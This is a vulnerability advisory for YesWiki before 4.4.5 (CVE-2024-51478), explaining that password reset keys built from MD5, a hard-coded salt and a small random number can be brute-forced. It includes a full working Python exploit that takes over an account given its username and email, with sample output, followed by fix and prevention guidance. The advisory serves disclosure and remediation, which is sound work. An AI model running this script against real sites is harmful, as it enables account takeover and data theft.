GHSA-4fvx-h823-38v3 CVE-2024-51478
YesWiki Uses a Broken or Risky Cryptographic Algorithm
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.37%
- Chance of exploitation in the next 30 days. Higher than 31.31% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-327 Use of a Broken or Risky Cryptographic Algorithm
- Fix
4.4.5- Upgrade yeswiki/yeswiki to this version or later
Description
Summary
The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.
Details
Firstly, the salt used to hash the password reset key is hard-coded in the includes/services/UserManager.php file at line 36 :
private const PW_SALT = 'FBcA';
Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the includes/services/UserManager.php file at line 201 :
protected function generateUserLink($user)
{
// Generate the password recovery key
$key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);
The key is generated from the user's name, e-mail address, a random number between 0 and 10000, the current date of the request and the salt. If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.
Proof of Concept (PoC)
To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Nishacid
# YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto
from hashlib import md5
from requests import post, get
from base64 import b64encode
from sys import exit
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from argparse import ArgumentParser
# Known data
salt = 'FBcA' # Hardcoded salt
random_range = 10000 # Range for random_int()
WORKERS = 20 # Number of workers
# Arguments
def parseArgs():
parser = ArgumentParser()
parser.add_argument("-u", "--username", dest="username", default=None, help="Username of the account", required=True)
parser.add_argument("-e", "--email", dest="email", default=None, help="Email of the account", required=True)
parser.add_argument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True)
return parser.parse_args()
# Reset password request and get timestamp
def reset_password(email: str, domain: str):
response = post(
f'{domain}?MotDePassePerdu',
data={
'email': email,
'subStep': '1'
},
headers={
'Content-Type': 'application/x-www-form-urlencoded'
}
)
if response.ok:
timestamp = datetime.now() # obtain the timestamp
timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')
print(f"[*] Requesting link for {email} at {timestamp}")
return timestamp
else:
print("[-] Error while resetting password.")
exit()
# Generate and check keys
def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):
user_base64 = b64encode(username.encode()).decode()
data = f"{username}_{email}{random_int_val}{timestamp_req}{salt}"
hash_candidate = md5(data.encode()).hexdigest()
url = f"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}"
# print(f"[*] Checking {url}")
response = get(url)
# Check if the link is valid, warning depending on the language
if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text:
return (True, random_int_val, hash_candidate, url)
return (False, random_int_val, None, None)
def main(timestamp_req: str, domain: str, username: str, email: str):
# Launch the brute-force
print(f"[*] Starting brute-force, it can take few minutes...")
with ThreadPoolExecutor(max_workers=WORKERS) as executor:
futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]
for future in as_completed(futures):
success, random_int_val, hash_candidate, url = future.result()
if success:
print(f"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}")
print(f"[+] URL: {url}")
exit()
else:
print("[-] Key not found.")
if __name__ == "__main__":
args = parseArgs()
timestamp_req = reset_password(args.email, args.domain)
main(timestamp_req, args.domain, args.username, args.email)
Simply run this script with the arguments -u for the username, -e for the email and -d for the target domain.
» python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/'
[*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48
[*] Starting brute-force, it can take few minutes...
[+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9
[+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K
Impact
Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.
Recommendation
The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one. For example, you can use random bytes instead of a random integer.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| yeswiki/yeswiki | < 4.4.5 |
4.4.5 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
yeswiki/yeswiki Packagist → 4.4.5
- composer
composer require yeswiki/yeswiki:^4.4.5
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- Low
- Availability (subsequent systems)
- Low
CVSS 3.1 9.9
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- Low
- Availability
- Low
Weakness
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
The product uses a broken or risky cryptographic algorithm or protocol.
How to prevent it
- Architecture and Design: When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis. For example, US government systems require FIPS 140-2 certification [REF-1192]. Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak. Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]
- Architecture and Design: Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.
- Architecture and Design: Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.
- Implementation, Architecture and Design: When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-9369-69wj-7m2f YesWiki Vulnerable to Authenticated PHP Object Injection in BazarImportAction via unserialize | Critical | Also affects yeswiki/yeswiki |
| GHSA-4pf7-cc4r-g63h YesWiki has Authenticated SQL Injection via ReactionManager | High | Also affects yeswiki/yeswiki |
| GHSA-r5xw-gcgw-hwp5 YesWiki Vulnerable to Reflected XSS via Unescaped `id` Parameter in Bazar Widget HTML Attributes | Medium | Also affects yeswiki/yeswiki |
| GHSA-35f3-pg38-486f YesWiki Vulnerable to Reflected XSS via Unescaped Archived-Revision `time` Parameter in `handlers/page/show.php` | Medium | Also affects yeswiki/yeswiki |
| GHSA-xc7j-3g8q-9vh4 YesWiki has stored XSS in Bazar form-field templates via unescaped field.label / field.hint (|raw('html')) | Medium | Also affects yeswiki/yeswiki |
| GHSA-8f2v-2qhj-gfwg YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`) | High | Also affects yeswiki/yeswiki |
| GHSA-qg78-vmvc-fhjw YesWiki: SQL Injection possible through public Bazar entry-listing APIs via numeric `query`/`queries` filters | High | Also affects yeswiki/yeswiki |
| GHSA-vw42-752g-5mrp YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId` | High | Also affects yeswiki/yeswiki |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor